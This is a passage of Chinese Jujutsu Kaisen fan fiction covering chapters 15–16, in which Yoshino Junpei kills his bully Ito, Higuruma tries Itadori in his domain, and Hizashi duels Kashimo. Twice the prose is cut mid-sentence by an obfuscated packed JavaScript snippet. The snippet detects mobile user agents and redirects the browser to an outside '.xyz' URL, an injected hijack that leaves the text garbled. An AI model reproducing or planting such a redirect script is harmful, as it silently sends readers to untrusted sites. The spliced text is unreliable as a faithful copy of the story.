从来没有人制止过他们,大家都害怕受伤,所以对发生在角落里的欺凌熟视无睹。只有虎杖悠仁走了进来,他走到巷子里打飞了那些在这场霸凌中站在顶点的人,让甘井凛发现他们在遇到更强大的人时也需要点头哈腰、低着头认怂。 他应该向那些因为他的旁观而受到伤害的人道歉,为什么一直以来都没有想过要这么做呢?就因为自己的懦弱和胆小,犯下的错误一直没有结果。如今看到虎杖悠仁,他就像被人扯到了一面镜子前,自己究竟是个什么样的人被原原本本地照了出来。 被原谅也好,不被接受也好,他之后必须得去道歉才行。 被叫住的虎杖悠仁疑惑地回头,虽然他不知道甘井凛想说什么,但却看出了他的犹豫和彷徨,所以虎杖悠仁朗声鼓励道:“加油啊!还有,谢谢你啦。” 甘井凛忍不住皱起鼻子。也许你永远都不会知道吧,但我还是想说——谢谢你那天走到巷子里,谢谢你今天出现在这里,彻底救了我。 —— 伏黑惠摸着鵺的头,他的式神在空中转了一圈,没有找到虎杖悠仁的下落,看来他们被分开了两公里以上的距离。鵺虽然没有找到虎杖悠仁,但却带着伏黑惠赶去了另一个方向。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137745|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小巷之中,吉野顺平挣脱了日照的手臂,召唤了淀月想要从咒灵的口中救下伊藤。他也不知道自己为什么会选择救下那个恶魔,淀月的触手伸出去的时候他就已经开始反胃了。 “玉犬!” 不过比水母式神行动更快的是一只黑白相间、狼犬模样的式神,它一爪子就让咒灵烟消云散,然后邀功似的看了一眼自己的主人,又对着吉野顺平的方向呲牙。 伊藤掉到地上之后开始抱着伤腿哀嚎,周围寂静的街区只能听见他的声音。现在已经过了普通人可以直接离开结界的时间,所以他自动变成了泳者。 伏黑惠丢给他一卷绷带:“你再喊这么大声,还会再把其他咒灵引来。” 伊藤瞥了他一眼,抓起蹦带连滚带爬地往他的身后躲。伏黑惠没有在意伊藤的动作,他注意到了吉野顺平以及站在他身后、莫名其妙笑着的日照。 日照弥山!伏黑惠认出了这个单眼戴着眼罩的青年。 没等他想好说什么,日照率先开口:“原来那个式神是你的啊,禅院家的十影。” 伏黑惠冷着脸说:“我不姓禅院。” 日照幸灾乐祸地大笑,他就喜欢看那些老东西和老古董们倒大霉:“那你姓什么?你......等等。” 他突然有点笑不动了,扯着嘴角挑起一边的眉毛仔细观察伏黑惠的脸和头发,那股认真劲看得伏黑惠有点发憷。 虽然发色一样,但是发型不像......完了,像那家伙的老婆!!? 日照如遭雷劈,指着伏黑惠颤颤巍巍地说:“你、你这小鬼不会是姓伏黑吧?” 伏黑惠:“是?” 日照现在觉得伏黑甚尔当时答应得那么痛快是为了给自己儿子抢家产去,怪不得当时直接跳过了讨价还价的环节! 伏黑惠并不知道解封狱门疆的过程,但看样子日照也没有和五条老师打起来,可能真的像乙骨前辈说的那样,关系还不错? 那家伙的儿子居然已经这么大了啊。日照抱臂站在一旁,问吉野顺平:“你打算救他?为什么?” 吉野顺平看着伏黑惠身后的伊藤,内心已经乱成了一团。不管是救人,还是看着他死去,他都觉得难以忍受。既无法任凭善意生长,又无法彻底狠心,所以只能痛苦地摇摆,耗尽自己。 “这样......就好。”吉野顺平自言自语。伏黑惠替他做出了选择,这样吉野顺平就不会为选择任何一方而感到痛苦了。 “只是这样,就能消除痛苦了吗?顺平?”日照抬起吉野顺平的手,手指的方向正是伊藤。 伊藤仇恨的眼神倒映在吉野顺平的眼睛里。 他们认识?伏黑惠在吉野顺平和伊藤之间来回看,想起在普通学校上学时候屡见不鲜的事。日照弥山在煽动他? “知道痛苦由他造成,却放任他继续伤害自己,”随着日照的手逐渐用力,吉野顺平的式神淀月被召唤了出来,“明明有了力量,却不敢用来拯救自己。” “怎么会?淀月......”水母式神柔软的触须包裹着吉野顺平,他明明没有叫淀月出来,为什么它会自己行动? “不会有人永远能替你做出选择的,顺平。” 吉野顺平的手心冒汗,冰凉潮湿的手掌盖住了伊藤的脸,让他看不见那个人的眼神。也许,这个人说得才是对的。 他本来以为在死灭洄游发生之后,这个世界能够发生天翻地覆的变化。 结界之外一切如常。他觉得能够保护自己和的妈妈能力只是让他在“正常社会”中彻底变成了一个异类,无论他去哪儿都会觉得自己已经与周围的人变得不一样了。自我隔离让他痛苦万分,见到伊藤后更是将他打入了地狱。 也许,让伊藤彻底消失才是正确的选择?选择重新回到普通人中去,还是选择彻底成为一个异类? 水池和大海。他要为了妈妈和自己选择到更广阔的地方去! 淀月带毒的两根触手不再犹豫,它们绕过伏黑惠直冲伊藤而去。 但是在碰到缩成一团害怕得鬼哭狼嚎的伊藤之前,淀月消失了。就像它突然出现时那样。 日照的左手抵在玉犬的头上,将它拉回了影子中:“看来你不太赞成?” 玉犬的召唤被解除了?但是那个水母式神也消失了,果然是他的术式! “请你不要随便煽动别人,日照前辈,”伏黑惠依旧冷着一张脸,对这混乱情况头痛万分,“这人只是一个非术师,他......” “那又怎样!?”吉野顺平想起鞋底腥臭的泥土粘在脸上时的感觉,这次他自己叫出了淀月:“我已经下定决心要改变了!!” 伊藤见状惊恐地大喊:“你这个废物给我滚开啊啊啊!!” 在极端的负面情绪激化之下,淀月的体积膨胀了数倍,原本只有两条的带毒触手也分裂了,直奔挡在伊藤前面的伏黑惠而去,大有他不让开就连他一起刺伤的意思。 令他没想到的是,伏黑惠直接让开了。 毒刺扎入了伊藤的体内,蔓延的毒素腐化着他的身体,被逐渐侵蚀的痛苦让伊藤嚎叫出声,在挣扎中倒地,像是从前那些被他们踩在脚下肆意玩弄的生命一样。 吉野顺平有一瞬间将伊藤幻视成了自己。就这一瞬间的错觉让他下意识命令淀月停止继续注入毒素。 如果自己真的杀了人......究竟是摆脱了过去,还是变成了比他们更恶劣的人呢? “......给我道歉。” “啊啊、啊......抱、抱歉,是我错了!!” “......”吉野顺平唤回了淀月,水母式神柔软的身体缠绕在他的身边。 伏黑惠看着这场闹剧。日照的性格比他想象的还要恶劣,甚至无法从他身上看出善恶。煽动这个男生是为了看到被霸凌者的反击吗,他想道,随即看向日照。 “......?”伏黑惠发现自己想错了。日照的表情并非玩味和期待,反而一派认真。他在观察。 在看吉野顺平会做出什么反应? 为什么? 笼罩在伊藤身上的阴影挪开了,劫后余生的伊藤不自觉地笑了起来。该死的家伙,仗着有人帮你才敢用那种看蛆虫的眼神看着我!等我离...... “......呃、啊啊啊!?” 毒刺嵌入肉中,毒素被不断注入直至躯体彻底失去机能。 “获得1分!!” 断断续续的哀叫声消失后,小金的声音响起。 15. 执灯 伏黑惠看着伊藤的尸体和被伊藤的笑容惹恼的吉野顺平,没有说什么,重新召唤出了玉犬。所以说,他和虎杖悠仁是不一样的。虎杖悠仁绝对不会放弃任何一个人,他也一定会追问吉野顺平过去究竟发生了什么。但这不是伏黑惠现在会在乎的事。 被召唤出来的玉犬在他身边嗅了嗅,然后原地坐了下来。 “这是你想看到的吗,日照前辈?” 日照没有回答这个问题,看向喘着粗气吉野顺平,问他:“顺平没有告诉妈妈得分的方法?” 吉野顺平强迫自己从尸体上移开视线,狠狠摇了摇头。他根本没有办法在那个人面前说自己必须夺走他人的性命才能活下去。吉野顺平的视线又摇了回去,看见伊藤狰狞的死相,下意识地为自己开脱:都是因为他明明死到临头却还没有认识到自己的错误!他不是为了悔过而道歉,而是因为知道自己要死了才被迫选择道歉。 “......我是不是特别天真?所有人都当我们是什么都不懂的孩子,将那些欺凌说成是玩闹,把我们的控诉当成笑话。他们在得意什么!?就凭比我们多活了几年就能明白所有的道理吗!?这样的话——” 吉野顺平哽住了,他看见日照竖起食指放在嘴上,下意识地闭上了嘴:“不要给已经做完的选择找借口,顺平,那些都是谎言。” 如果当初我那么做就好了、如果当初那样说就好了......当人开始后悔自己做过的选择,痛苦就开始长久地折磨心灵。只有向前才能摆脱,毕竟没有痛苦会主动抛弃你。 “......日照前辈,你知道羂索吗?”伏黑惠终于把话题引向正轨。 “怎么了?” 日照重新抛了一次硬币,打开手掌一看,是正面。 看来已经很熟了,那就不必再多说。伏黑惠一边试探他的态度,一边思索:“请你接下来务必小心,羂索会为了夺走你的术式而展开行动。” 拜托了,别再说什么我们是最强不用担心之类的话了! “我知道。”日照回答。 “介意我存一下你的号码吗?” 日照报了一串数字,伏黑惠拨通之后将它们记了下来。比想象中的更好说话,不知道是不是因为他老爹的原因。伏黑惠让开巷口,看着那人又毫不留恋地走了。 “你......如果你接下来无处可去,我可以帮你联系高专的辅助监督。等死灭洄游结束之后,可以来高专上学。”伏黑惠给吉野顺平介绍了高专的事情,不知道他听进去多少。日照说他还有一个对咒术不太知情的母亲,没准会选择继续和母亲一起生活吧? 他将伊地知洁高的号码留给吉野顺平,然后让玉犬循着气味带着他去找附近的泳者。 “啊。”忘记问日照前辈有多少分了。 —— 虎杖悠仁和胀相见到了日车宽见。偌大的剧场舞台正中,西装革履的精英律师正在往浴缸里倒水。 咚。 空水桶落地的回音被剧场的天花板吸收,日车宽见看向自己闯进来的不速之客。 “这是在干嘛?”在剧场中央泡澡吗? “我准备试试穿着衣服泡澡。最近我对一些事情看得没那么重要了,所以打算放飞一下自我,试试原先绝不可能做的事。”日车宽见从浴缸旁离开,走到舞台前。 “......你这人还挺有趣的。” 虎杖悠仁不理解,但表示尊重。 “你是日车吧?我有话想和你......” 他还没说完,日车宽见打断了他:“等等,我可是律师,和我说话要收每30分钟5000元的咨询费的。” 律师?那他就是现代获得术式的人,不是古代术师的话,沟通的余地要大很多! “无良律师吗!?这也太贵了吧!?” 日车宽见扯松了领带,上次想要扮演讨人厌的无良律师结果被揍了一顿,虎杖悠仁还是第一个给他捧场人。 “无良律师比我要过分多了吧?” 虎杖悠仁不再说废话,认真地问道:“你现在有100分了吗?日车?” 日车宽见指着倒在舞台和第一排座位之间的尸体说:“他是最后5分。” 虎杖悠仁瞥了一眼地上的尸体。那人正面向下倒地,周围没有鲜血,背部也没有伤口,看不出致命伤的位置。 “那我就开门见山地说了,我们打算结束死灭洄游。不,准确地说我们准备增加让泳者不必互相残杀的规则。” 因此,希望你能够将自己的100分用来帮我们追加规则。 “看你的样子,应该还在上高中吧?” “是?” 怪不得。日车宽见看了看虎杖悠仁,又看了看站在他旁边的胀相。旁边那个看起来更容易定罪。 “我也直说了,我拒绝。” 这几天他一直在研究死灭洄游的规则,结合他从日照那里问到的信息,他从死灭洄游中看到了一种可能性。如果死灭洄游真的像它所的那样能够做到永续,他看到了律法的另一种存在形式。 不需要诉讼、公诉,也不需要花费人力物力去寻找真相。凡是违反了规则的人就会得到惩罚,这将是多么美妙的一件事!不需要法庭、法官、律师,每个人都会小心谨慎地行动来避免触犯“律法”,像极了传说中的乌托邦。 日车宽见可不想让死灭洄游那么快结束。 “那我就换个说法,”虎杖悠仁摆出架势,“把你的100分借给我们用吧,日车!” 可以随意变换大小的木槌出现在日车宽见的手中,双眼紧闭、具现化的式神审判者浮现在半空:“他说的果然没错。亲手干掉自己看着不爽的人,比想象的更令人精神舒畅。” 胀相将提前抽取出的血液完成压缩,“穿血”将血液以超越音速的速度发射了出去。“百敛·穿血”的攻击初速度是最快的,日车宽见凭借本能弯腰躲了过去,之后的血线扫射就显得慢了很多。 胀相用【赤血操术】干扰日车宽见的动作,又一发“穿血”贯穿了式神审判者,虎杖悠仁趁机接近日车宽见。 很好!他的式神被破坏了!手里的那个木槌是咒具吗?不管了,接下来见招拆招......虎杖悠仁的咒力汇聚在拳头上,和“穿血”一起接近了日车宽见。 他为什么不准备躲开!?虎杖悠仁看着在他拳头的正前方站定的日车宽见,听到他说:“领域展开——【诛伏赐死】。” 因为日车宽见的术式依赖于领域,所以他就领域和结界术的问题问了日照很多。那个人虽然嘴上说着自己不擅长结界术,但却精于理论,对方提到的很多东西日车宽见觉得如果不是有人告诉他,他可能永远都不会意识到。 就比如,构成领域结界的对内对外条件是可以进行调整的。最顶尖的术师可以根据战斗局势来随意更改领域结界的条件,对结界术和术式效果的微调会帮助他们在毫厘之间决出生死。 漆黑的结界将日车宽见和虎杖悠仁两人包裹了进去,初速度和贯穿力都被大幅提升的“穿血”打在了结界的外壁,却没能击穿。 胀相只从真人那里听说过虎杖悠仁曾经从外部打碎了结界闯入领域内,救走了同伴。尽管不明白原因,但既然这个结界对外如此坚固,那么从内部就不会太难以突破!胀相来到结界外,极近距离给血液加压。“百敛”的加压越大,反作用力带来的“穿血”的速度与贯穿力也会随之上升。 这一发被提升到极限的“穿血”也没能穿透【诛伏赐死】的结界。 “可恶!!”胀相一拳捶在上面:“我这样还算什么兄长!!” 他的担心没有持续太久,领域很快就开始消散,完成一次庭审的日车宽见和虎杖悠仁回到了剧院。胀相第一时间观察虎杖悠仁,没有从他身上看到明显的伤处,又联想到地上的尸体不敢掉以轻心:“悠仁!他的领域......” 日车宽见已经挥起木槌发起追击,虎杖悠仁本能地想要用咒力减少伤害,可他突然明白了审判者从他这里“没收”了什么东西。 他凝聚不起咒力了! 现在有胀相在旁边帮忙,但如果胀相也被拉进领域,拿到庭审上的案件涉及杀人的概率岂不是超级大?肯定会被判有罪的吧!甚至可能会是死刑......舞台下的尸体应该就是被判了死刑吧? 不能这么被动,虎杖悠仁凭借肉|体的天赋在日车宽见的猛攻下支撑着,但他必须想出解决办法。 日车宽见觉得自己就像是在打一个没有知觉的人偶一样,哪怕没有咒力,虎杖悠仁的肉|体天赋也远远超乎他的想象。 “日车!!”虎杖悠仁找到了审判的漏洞:“再来!!再来一次!!” 胀相相信虎杖悠仁的判断,这次他没有试图从外面打碎结界,而是选择了一个最合适的距离开始准备“百敛”。这一次,他要在日车宽见从领域中出来的瞬间击溃他! 由虎杖悠仁重新开启的二审持续时间甚至比第一次领域展开的时间还要短暂。胀相的“穿血”疾驰而至,瞄准了日车宽见的大脑,却被他用一柄闪着光的、细剑一样的武器挡了一下,躲了过去。 日车宽见手中所持的是只有在审判者判处最重的刑罚——死刑之后才会出现的“处刑人之剑”。被此剑所斩之人无一例外,全部死亡。 曾经的他愿意始终睁大双眼,看清那些被人避之不及的灾祸和黑暗。他贴近所有人的内心,理解人的弱小。但是当目之所及只有黑暗的时候,他就像被黑布蒙住了双眼,不再相信有光明可以在这片黑暗中存活下去。 日车宽见那张看起来因为工作和生活而疲惫不堪的脸终于露出了一些不一样的表情。 虎杖悠仁在审判中毫不犹豫地承认了审判者提出的罪名。开庭前由审判者共享给日车宽见的证据能够替他洗脱罪行,日车宽见本人也藉由这份证据窥见了这个十六岁少年过去的一角。 为了法律面前人人平等,正义女神蒙住了双眼。她既看不到那些黑暗,也看不见如原石般闪耀的心灵。但是日车宽见却在这里见到了。在这个他觉得可以重塑乌托邦的混沌世界中,找到了一个高洁的灵魂。 胀相的【赤血操术】所使用的血液是由咒力组成的,所以在咒力枯竭之前,他不会因为失血陷于无法行动的地步。他利用咒力创造出了一片“血海”,面积庞大的血液集合在一起遮挡了日车宽见的视线,虎杖悠仁与他配合默契,从血液后面冲出,一拳打在了日车宽见的身上。 日车宽见放弃了处刑人之剑,任由自己打飞了出去。 藏在血液中的、未被激发的“百敛”迅速追上日车宽见,在胀相解放被压缩的血液前,虎杖悠仁喊道:“等一下!胀相!” 胀相放弃了触发“超新星”。 虎杖悠仁问瘫在座椅中日车宽见:“为什么突然停手了?” 日车宽见像是用尽了所有的力气,他没有看虎杖悠仁,而是盯着剧场顶部亮起的灯,宣布了他的无罪判决。 虎杖悠仁的同伴们都和他说:这不是你的错。初次见面的日车宽见也确认了他的无罪。但虎杖悠仁还没能原谅自己,宿傩占据他的身体是因为他太弱了,哪怕这一路上有太多人为他提供了帮助,他还是让那么多无辜的人死去了。 “......”日车宽见看见了可以击退虚无黑暗的明灯。他不想标榜自己在救济他人,但也许曾经他在不知不觉间把自己当成了手持明灯的那个人。见到虎杖悠仁,他才发现自己手中的灯早已经熄灭了,真正的执灯人并不是他自己。 但是,还不算晚。 “坐下吧,”他从断掉一条腿的座椅上起身,给自己和虎杖悠仁找了两把椅子,面对面摆在了剧场舞台的正中,“我送给你100分。” 东京第1结界的某处,伏黑惠遇到了主动找过来的来栖华和天使。他们的小金同时通报了追加的全新规则:“有泳者增加了新规则!!《总则10》!!泳者可以将任意点数转让给其他泳者!!” “是你的同伴吗?伏黑?”来栖华想直接叫他惠,但她也只是有这个心没这个胆。 “应该是虎杖吧。” 伏黑惠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137746|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向在路上偶遇的三个泳者。 零士·明星看着来栖华身上熟悉的光环和翅膀,不禁为自己糟糕运气悲叹:“不会吧......” 他们就是因为昨晚看到了天使使用术式的景象才决定离开这个结界,但没想到居然倒霉到直接撞上本尊了。 黄栌折用眼神和零士·明星沟通,毕竟他们几个都选择恢复了原身,至少零士·明星是有可能被天使认出来的,想要装作非受肉型泳者也很难取信于人。要打的话他们必须先发制人,不能让天使有机会飞到天上去吹喇叭。 零士·明星装作镇定地说:“你们见过他了吧?我们正在帮他收集分数,所以从某种意义上讲我们之间的冲突......你在干什么?” 伏黑惠正举着手机给零士·明星他们拍了一张照片,在手机上打下一行字:“当然是问问本人。” “别随随便便把人当傻子,少年,”零士·明星拆穿了他,“在这个结界内根本没有信号。” 伏黑惠根本不慌:“这是一个前辈的术式。” 黄栌折直接说:“还等什么赶紧跑啊!” 零士·明星扭头用咒力烧掉了一张收据,【再契象】帮他叫出了收据上写的小电车。 他们很聪明地分成三头跑路,伏黑惠和来栖华一人选了一个反向追了上去。天使的术式虽然威力惊人,但【雅各布天梯】的光柱基本直上直下,面积很大但不能移动位置。分开前伏黑惠已经叮嘱来栖华看情况行动,最好能拿到他们手上的分数。 零士·明星虽然猜到日照和天使他们碰上了,但没想到他们是能够互相留下联系方式的关系,毕竟那个人看起来不像是能够拥有“同伴”的人。 伏黑惠抓着鵺从半空接近零士·明星的小电车。从穿着上来看这一伙人(至少这个穿草裙的)是古代术师没跑了,天使是受肉型泳者的天敌。他将手机伪装成被机械丸【傀儡操术】操纵的东西,纯粹是在诈他们,也算是误打误撞骗过了他们。不过他们说的“他”是谁? 刚刚走出结界的日照打了一个喷嚏。恢复信号的手机叮叮当当响了几声,他掏出来看了一眼,发现五条悟给他发了一张照片。 白发的咒术师居然在坐新干线。 日照往下翻了翻LINE上的新闻推送,国内的航班还没有恢复。大概是不想让别人知道自己的行踪,所以也没有让辅助监督开车送他。日照从LINE中退出,抬头看见结界的周围竟然还有不少普通人。 他低估了人类的好奇心。在不会影响自己前提下,总会有人愿意冒着巨大的风险探索真相。日照将这种心态归咎为无聊的求知欲,但他显然并没有参透现代社会中被好奇心伪装起来的另一种追求。 一个举着摄像机,一只手拿着麦克风的人拦住了他。 “这位小哥!请问你是泳者吗?能请你把发生在结界后的事情和我们分享一下吗?” 日照面无表情地看着他,男人只是一个劲地将麦克风往他嘴巴前送,似乎是为了确认录像内容,男人的一只眼睛放在摄像机的取景框后,另一只眼睛在外面看路。这台摄像机似乎已经成为了他的电子眼睛,正通过反光的镜头看着日照。 “我是推特博主哦,现在正在直播中,小哥,听说里面的游戏想要得分就必须杀人,这是真的吗!?”男人没有理会他的沉默,继续追问道。 “吵死了,”星海的嘴巴就在镜头前一开一合,男人却熟视无睹,“赶紧去找车笨蛋。” 日照无视了扛着摄像机的男人,沿着大路继续前行。政府虽然有意阻止咒灵和死灭洄游的内容在网络上传播,但事情发展到这个地步已经不是能够随便糊弄过去的了。无数能够带来“真相”的人趁此热潮一飞冲天,一时间只要是带着“结界”、“禁区”、“怪谈”和“死亡游戏”等等标签的推文都能获得巨大的流量。 也许古代术师们最难以适应现代社会的就是这一点吧?现代社会的人已经对“个人力量”失去了敬畏之心,在一个至少表面上呼吁集体和团结社会,拥有“可以对他人造成伤害”的力量的术师就和拳击手或相扑手一样,是没有机会越过集团将武力施加在普通人身上的。 结界内才是羂索描述的咒术全盛期,平安时代的缩影。 日照路过一群举着标语牌宣扬教会理念的人,他扫了一眼,似乎这群人将创造结界的人视为神,结界的诞生正是神在挑选祂的信徒。听起来好像他们还准备排队冲到结界里面去。 “不管哪个时代,人类都是最难理解的啊。”日照自言自语。天元、羂索、九十九由基、盘星教,甚至是五条悟和夏油杰,日照都觉得难以理解。 “你少想这些,反正你也想不明白。” “可你明明都知道,”日照顺着路走向最近的还在运行的站点,“你只是懒得和我解释。” “......” “而且你最近无视我的次数也太多了点吧!?”日照愤愤抱怨道:“每次提到这些你就不说话。” 他乖乖买了票,进站后正巧赶上来车,顺理成章地坐上了开往仙台站方向的新干线。现在正是下班时间,车里挤满了神情疲惫的上班族和学生,有些人看到他的眼罩会冒犯地盯着看两眼,然后又克制地低头玩手机了。 列车启动的声音填满了车厢,仿佛今天和昨日并无任何不同。每个人都在按部就班地活着。 日照被人群挤到了远离站台那一侧的车门前。车门上的玻璃外面是飞速掠过的城市,数个肉眼可见的黑色结界矗立在远方,车厢内的人熟视无睹。 他看着映在玻璃上的自己的影子,听与自己共享肉|体的同胞兄弟说:“我恨你。” 日照自顾自地笑了一下,声音大到让整节车厢的人都不满地看向他。他心情极好地回道:“我知道哦~你只有在这种时候才会变得坦诚呐。” 低头,日照看见一个被母亲牵着准备下车的小孩子。小孩子看着他的脸,眼睛瞪得很大,骨碌碌转着。 日照弯起嘴角,向她挥了挥手。小孩子开心地和他摆摆手,跟着母亲下车了。 16. 仳 “有泳者增加了新规则!!《总则11》!!泳者可获得其他泳者的情报——‘名字’、‘得分’、‘追加规则次数’、‘所在结界’!!” 这趟列车在这一站停了太久,已经有人开始呼叫乘警询问为什么列车会滞留在这里。 日照靠在车门上,车厢里没有人能够看见的小金正忠实地履行自己的职责,向他播报了最新添加的规则。有了这个可以看到泳者情报的规则之后,所有人的动向都一览无余。 “小金,找出刚刚分数变化最大的一个泳者。” 小金沉默了一会儿,回绝了他的要求。 日照换了个说法:“按照分数变化程度给泳者进行排名。” 这一次小金同意了,它拉开一张半透明的排行榜,上面的名字正在飞速变化。很快,排在第一位的泳者的名字固定了下来。 鹿紫云一,104分,追加规则1次,目前所处:结界外。 看来就是他增加了公开泳者情报的规则。花费100分之后还剩下这么多分......他原本所在那个结界的分数都被他包了吧?如果这个人在这附近的结界倒是好办,日照可以顺路去看看有没有机会拿到他的分,但要是在结界外的话就算了。 他继续翻着名单,希望能够直接找到万,但他知道希望渺茫。以来栖华和天使为例,天使虽然是受肉型泳者,但以共生关系存在的她们在参与死灭洄游时,小金那里记录的是作为容器的来栖华的名字,而非天使。如果容器的意识被抹杀了,小金那里就会记录受肉者的名字。 也就是说如果万以抹杀了容器意识的姿态进入死灭洄游,日照才有机会在名单上找到她,如果她也像天使那样,就必须知道她附身的容器的名字。不过现在才刚过去5天,距离19天的界限还有一段时间,日照也不奢望这么容易就能找到她。 “我说,到底是前面发生事故了还是又有什么怪事!?” “请您稍等,已经有警察来处理了,请不要随意离开列车!” 因为停留的时间太长,赶来维持秩序的乘警神态也有些不对劲,他一直在努力安抚乘客们的情绪,但就快要压不住了。 不少人开始抱怨,涩谷和结界的事让很多人开始担心又有什么危险,人们的情绪在看到出现在站台上、全副武装的警察们的时候被点燃了。 “到底发生什么事了!?” “快躲开!!我们要下车!!” “听说涩谷的袭击当时就是发生在站台,不会这次......” 日照推开努力挡着车门的乘警下了车。他感受到了庞大又奇特的咒力,就在这个站台的正上方。 “先生、这位先生!!请不要再往前走了!!”站台上的警察拦住了他,这里的所有人都荷枪实弹,看起来阵仗确实挺唬人的。 日照没有理会他们,甩开拉住他胳膊的人径直上了台阶。 被甩开的警察诧异地看着自己的手,只能迅速联络地面的同僚看住那个青年,让他离站台入口附近那个“怪物”远一点,接着就继续将其他人拦在地下站台。 日照来到地面上。从他所在的位置已经能感受到强烈的咒力波动了,而且弥散在空气中的咒力散发着异质的感觉。像是涌动着细微的电流一样,让他暴露在空气中的皮肤微微发麻。 鹿紫云一正在摆弄一个手机。 手机的主人当然不在这附近了,鹿紫云一按照容器的记忆点开了地图工具,像视力不好的老年人一样扒拉屏幕。 “算了,”他扔掉了手机,将武器扛在肩上,看向从车站入口走出来的日照,“喂,你知道仙台怎么走吗?” “我知道,”日照摸到了雷切,但最终拿出了另一把,他的小金刚刚消失,在那之前它告诉了日照眼前人的姓名,“但我现在对你的分数更感兴趣一些。” 如此特殊的术式他还是第一次见。藏匿在眼罩之后的右眼观察着鹿紫云一身上咒力的流动,如此分析出来的术式是一生只能解放一次、可以改变肉|体形态使其成为超越人类范畴的奇特存在。得益于这个术式,鹿紫云一的咒力附加了类似雷电的特性。 仅凭特殊的咒力性质,鹿紫云一在他生前所处的时代难逢敌手。 鹿紫云一看了两眼向他发起挑战的青年:“狂妄的小鬼,你完全让我提不起兴趣啊。” “我更正一下,”日照抬手将刀尖指向鹿紫云一,“你的术式很有意思。” 日照的起手式中规中矩,见鹿紫云一不准备主动出击,他迈步直接发起进攻。 直接攻过来?如果不是脑子有问题的话,那就是对咒具或者术式有绝对的自信。鹿紫云一注意到了日照说的那句话,但没有放在心上。在遇到诅咒之王宿傩之前,没有人值得他解放自己的术式,所有的战斗都可以依靠咒力特性来解决。 这个人手里的咒具看起来只是一柄普通的刀,他本身咒力量虽然不多,但咒力在流动的过程中平稳地分布在全身,没办法通过咒力的聚集分辨出被强化的部位。 “本事不大,口气不小。” 日照的进攻不用通过观察咒力就能看出来,手里的刀横向挥斩,鹿紫云一转着棍子,准备将这一击拦下。 看到他的动作,日照微不可查地上扬了嘴角。 刀与棍子接触的瞬间,本该被拦下的刀身忽然变得模糊了起来。 “......!?” 鹿紫云一的身上出现了一道近乎贯穿前后的刀伤,伤口从右肩一直到腰侧。那把刀果然有问题! 日照举刀上劈,鹿紫云一一脚踹在他的手腕上,拉开了他们之间的距离,用反转术式修复了伤口。 “这玩意儿有点意思。”虽然一时不察被日照利用咒具的特性先发制人,但他精于武道,瞬间就猜到了那个咒具的能力。鹿紫云一将棍子抬到肩膀上,向投标枪一样将它掷了出去。他扔出去的方向非常刁钻,对日照来说,最顺手的方式是用手中的刀将它拨开。 日照侧身躲过。 没等他将身体重新摆正,鹿紫云一的拳头已至。日照微微睁大眼睛,抬手护住胸腹,硬生生挨了这一拳。巨大的冲击力让他倒飞了出去,撞上了墙面才停了下来。 围在周围的人惊呼着四下散开,日照咳了一声,甩甩手臂。鹿紫云一只用一招就看出来他手中这个咒具的特性,不愧是已经拿到了这么多分的人,在战斗中的观察力真是恐怖。 日照手里的这柄刀只是一个一级咒具,它的特性就是只能击中蕴含一定咒力的物体。没有注入咒力的武器、没有被咒力包裹的身体都会被这柄刀“忽视”,刚才鹿紫云一便是利用了这一点,收敛了浑身的咒力,因此日照也没办法用刀挡住他。 鹿紫云一扳回一城,看似找到了破解之道,但如果一直这样的话相当于主动封印了自己的咒力。虽然仅凭肉搏的话他也不认为自己会输,可这样的话打起来就太无聊了。 他的咒力具有雷电的特性,他可以主动将自己的咒力进行电荷分离,在打击的同时将正电荷转移到对手身上,积攒在自身的负电荷如果不向地面释放,而是引导到对手身边的话——砰! 最少也会被炸掉一条手臂吧。 日照从地上爬起来,重新握住刀。雷切完完全全被鹿紫云一克制,所以只能选这把刀了。 “挺耐打。”鹿紫云一这次没有选择收敛咒力,浑身升腾的力量让周围空气都隐隐约约震颤起来,有细小的电流游动着。 “我赢了的话,你得把你的分都给我。” 鹿紫云一不觉得自己会输:“行啊,你输了告诉我宿傩在哪。” “他还真是受欢迎。”日照比了个放马过来的手势,鹿紫云一周身咒力瞬间暴涨,冲了过来。 勾拳出手,却被一层无形的屏障拦了下来。日照用扩张术式·立地金刚挡下鹿紫云一,反手抓住了他的手臂,发动了术式。 手脚突然......!?鹿紫云一的身体忽然卸了力,甚至隐隐约约感觉到这个容器正在排斥他的灵魂。这家伙的术式到底是什么!? 刀身反射出的落日余晖闪到了鹿紫云一,他偏头躲开,锋利的刀刃蹭着他的发丝划过。因为身体机能被大幅度削弱,鹿紫云一无法挣开钳住自己的手。 日照强行将鹿紫云一困在了自己身边,日照用刀,鹿紫云一直接空手接白刃,两人在方寸之间过招。鹿紫云一的反转术式运转效率同样被压制,渐渐的恢复速度开始跟不上受伤速度了。 尽管看上去他开始落入下风,但是反击的风暴已经逐渐酝酿完毕。 日照很早就注意到了来自鹿紫云一的咒力。那些异质的咒力随着他的打击不断附着在日照身上,似乎在等待着什么。因为一直防备着,所以鹿紫云一开始引导累积在自己身上的负电荷时,日照先他一步使用了自己的术式。 被诱导至日照身边的负电荷与他身上的正电荷相遇、中和,在此过程中释放的巨大能量击穿空气,产生了类似爆炸一样的攻击效果。 日照的一条手臂以及右侧的半张脸和身体都被炸得血肉模糊。 